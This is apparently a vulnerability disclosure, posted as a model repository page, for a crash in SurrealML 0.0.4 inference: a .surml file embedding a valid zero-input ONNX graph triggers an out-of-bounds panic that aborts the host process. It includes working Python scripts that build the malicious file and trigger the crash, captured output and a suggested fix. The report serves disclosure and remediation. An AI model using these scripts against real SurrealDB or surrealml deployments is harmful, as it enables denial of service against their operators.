You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

SurrealML .surml inference β€” embedded zero-input ONNX graph β†’ session.inputs[0] index-out-of-bounds panic crossing extern "C" β†’ process abort (SIGABRT / DoS)

Target: surrealml (SurrealDB's ML model file format + inference wrapper)

  • Python package: surrealml==0.0.4 (PyPI, prebuilt wheel with bundled libc_wrapper.so)
  • Rust core: surrealml-core β€” modules/core/src/execution/compute.rs
  • Upstream repo: https://github.com/surrealdb/surrealml
  • Verified against the real released PyPI wheel and its bundled prebuilt libc_wrapper.so (exports load_model / raw_compute / buffered_compute; onnxruntime statically linked in).

Impact: Denial of Service β€” uncatchable whole-process abort (SIGABRT). Any consumer (SurrealDB, or any application using the official Python surrealml client) that loads an attacker-supplied .surml file and runs a single prediction is killed. A Python try/except around the call cannot save the host: the panic is raised on a thread executing across the extern "C" FFI boundary, so the unwind cannot cross the C frame and the runtime aborts the entire process.


Root cause

modules/core/src/execution/compute.rs, in ModelComputation::process_input_dims():

// compute.rs:44
let unwrapped_dims = match &session_ref.inputs[0].input_type {
    //                                       ^^^ unconditional [0] index
    ...
};

session_ref.inputs is the input list of the loaded onnxruntime Session. The code unconditionally indexes element [0], assuming every model has at least one graph input.

The .surml loader (SurMlFile::from_file) stores the embedded ONNX model blob verbatim and never inspects its graph. The blob is only handed to onnxruntime at inference time inside raw_compute() / buffered_compute(). If the embedded ONNX model is a structurally valid graph that declares zero graph inputs β€” e.g. a graph whose single output is produced by a Constant node β€” then:

  1. onnx.checker.check_model passes (it is a legal ONNX graph).
  2. onnxruntime loads it without error β†’ load_model returns success (is_error = 0).
  3. session.inputs is an empty slice, so inputs[0] panics: index out of bounds: the len is 0 but the index is 0.
  4. The panic occurs on a thread running across the extern "C" boundary of the c-wrapper. The unwind cannot cross the C frame β†’ fatal runtime error: failed to initiate panic, error 5 β†’ the process is aborted with SIGABRT (exit 134 = 128 + 6).

Because the file passes all .surml header validation and load_model succeeds, the crash is specifically the empty-session.inputs condition at inference time, not malformed bytes or a rejected header.


Proof of Concept

Two .surml files are built with the identical wrapper. Both use the SurMlFile container layout [4-byte big-endian header length][header][ONNX blob] with a minimal valid header (nine //=> delimiter tokens; header length 0x24 = 36 bytes).

  • attack.surml (120 bytes): embeds attack.onnx β€” make_graph([Constant β†’ "y"], inputs=[], outputs=[float[2]]). onnx.checker.check_model passes; graph.input count = 0.
  • ctrl.surml (108 bytes, negative control): embeds ctrl.onnx β€” one Identity node; graph.input count = 1.

The runner (run.py) drives the library exactly like the official client (surrealml.loader.LibLoader β†’ lib.load_model β†’ lib.raw_compute), each file in its own subprocess.

Build (mk.py, uses onnx)

import onnx, struct, os
from onnx import helper, TensorProto

def wrap(onnx_bytes):
    # SurMlFile format: [4-byte BE header length][header][onnx blob]
    header = "//=>//=>//=>//=>//=>//=>//=>//=>//=>".encode("utf-8")
    return struct.pack(">I", len(header)) + header + onnx_bytes

# NEGATIVE CONTROL: graph with exactly ONE input (Identity)
inp  = helper.make_tensor_value_info("x", TensorProto.FLOAT, [2])
outp = helper.make_tensor_value_info("y", TensorProto.FLOAT, [2])
g = helper.make_graph([helper.make_node("Identity", ["x"], ["y"])], "ctrl", [inp], [outp])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)]); m.ir_version = 9
onnx.checker.check_model(m)
open("ctrl.surml", "wb").write(wrap(m.SerializeToString()))

# ATTACK: valid graph with ZERO inputs (Constant produces the output)
cval  = helper.make_tensor("cv", TensorProto.FLOAT, [2], [3.0, 4.0])
cnode = helper.make_node("Constant", [], ["y"], value=cval)
outp2 = helper.make_tensor_value_info("y", TensorProto.FLOAT, [2])
g2 = helper.make_graph([cnode], "zero", [], [outp2])
m2 = helper.make_model(g2, opset_imports=[helper.make_opsetid("", 13)]); m2.ir_version = 9
onnx.checker.check_model(m2)   # PASSES -> structurally valid ONNX
open("attack.surml", "wb").write(wrap(m2.SerializeToString()))

Run (run.py)

import sys, ctypes
from surrealml.loader import LibLoader
from surrealml.c_structs import FileInfo, Vecf32Return

path = sys.argv[1]; n = int(sys.argv[2]) if len(sys.argv) > 2 else 2
loader = LibLoader()                       # runs link_onnx() internally, like the official client
info: FileInfo = loader.lib.load_model(path.encode("utf-8"))
if info.is_error == 1:
    print("load_model ERROR:", info.error_message.decode()); sys.exit(2)
file_id = info.file_id.decode(); loader.lib.free_file_info(info)
data = (ctypes.c_float * n)(*[1.0] * n)
out: Vecf32Return = loader.lib.raw_compute(file_id.encode("utf-8"), data, n)
if out.is_error == 1:
    print("raw_compute graceful ERROR:", out.error_message.decode()); sys.exit(3)
print("raw_compute OK output:", [out.data[i] for i in range(out.length)]); sys.exit(0)

Captured evidence (verbatim, real execution against surrealml==0.0.4)

=== graph input counts ===
CTRL   graph.input count = 1  onnx bytes = 68
ATTACK graph.input count = 0  onnx bytes = 80  checker=PASS

### NEGATIVE CONTROL (normal 1-input model)
[run] loading ctrl.surml
[run] load_model OK file_id=61438cbd-55ad-49ea-b547-c9d232c3b0c6 name='' ver=''
[run] calling raw_compute with 2 floats ...
[run] raw_compute OK output: [1.0, 1.0]
ctrl.surml exit=0

### ATTACK (zero-input model)
[run] loading attack.surml
[run] load_model OK file_id=18f15859-3b98-4eed-8088-7b6d04117949 name='' ver=''
[run] calling raw_compute with 2 floats ...

thread '<unnamed>' panicked at modules/core/src/execution/compute.rs:44:50:
index out of bounds: the len is 0 but the index is 0
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
fatal runtime error: failed to initiate panic, error 5
attack.surml exit=134
  • Control: zero-input assumption satisfied β†’ load_model OK β†’ raw_compute OK β†’ output [1.0, 1.0] (Identity echoes the input) β†’ exit 0.
  • Attack: file passes ALL header validation, load_model succeeds (is_error=0), then raw_compute panics at compute.rs:44 β†’ SIGABRT β†’ exit 134 (128 + SIGABRT).

Both files load cleanly (the loader raises no error); only the inference call on the zero-input blob aborts β€” proving the crash is specifically the empty-session.inputs condition, not malformed bytes. Reproduces deterministically.

Source confirmed

compute.rs:44:  let unwrapped_dims = match &session_ref.inputs[0].input_type {

graph.input counts: attack = 0, control = 1.


Suggested fix

Bounds-check session.inputs before indexing and return a graceful SurrealError (propagated across the FFI as is_error = 1) instead of panicking:

let first = session_ref.inputs.first()
    .ok_or_else(|| SurrealError::new(
        "model declares zero inputs".to_string(), SurrealErrorStatus::BadInput))?;
let unwrapped_dims = match &first.input_type { ... };

More broadly, no Rust panic should be allowed to unwind across the extern "C" boundary in the c-wrapper β€” the raw_compute / buffered_compute entry points should wrap their bodies in std::panic::catch_unwind and convert any panic into a returned error struct, so a single malformed/edge-case model cannot abort the entire host process.


Deduplication note

This is distinct from prior SurrealML .surml findings:

  • surrealml-inputdims-panic-poc / header panics: a parse::<i32>().unwrap() panic in modules/core/src/storage/header/input_dims.rs (InputDims::from_string) triggered while parsing the .surml header β€” crashes at load time on malformed header bytes.
  • huntr-poc-surml-ffi-nul-abort: an FFI/NUL-related abort.

This finding is different: the .surml file is entirely well-formed and passes all header validation; load_model succeeds. The crash is an index-out-of-bounds panic at compute.rs:44 triggered at inference time by the embedded ONNX graph declaring zero inputs β€” an empty session.inputs slice indexed with [0]. Different file (compute.rs vs input_dims.rs), different trigger (valid zero-input graph vs malformed header), different lifecycle stage (inference vs load). No known CVE covers this at time of writing.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support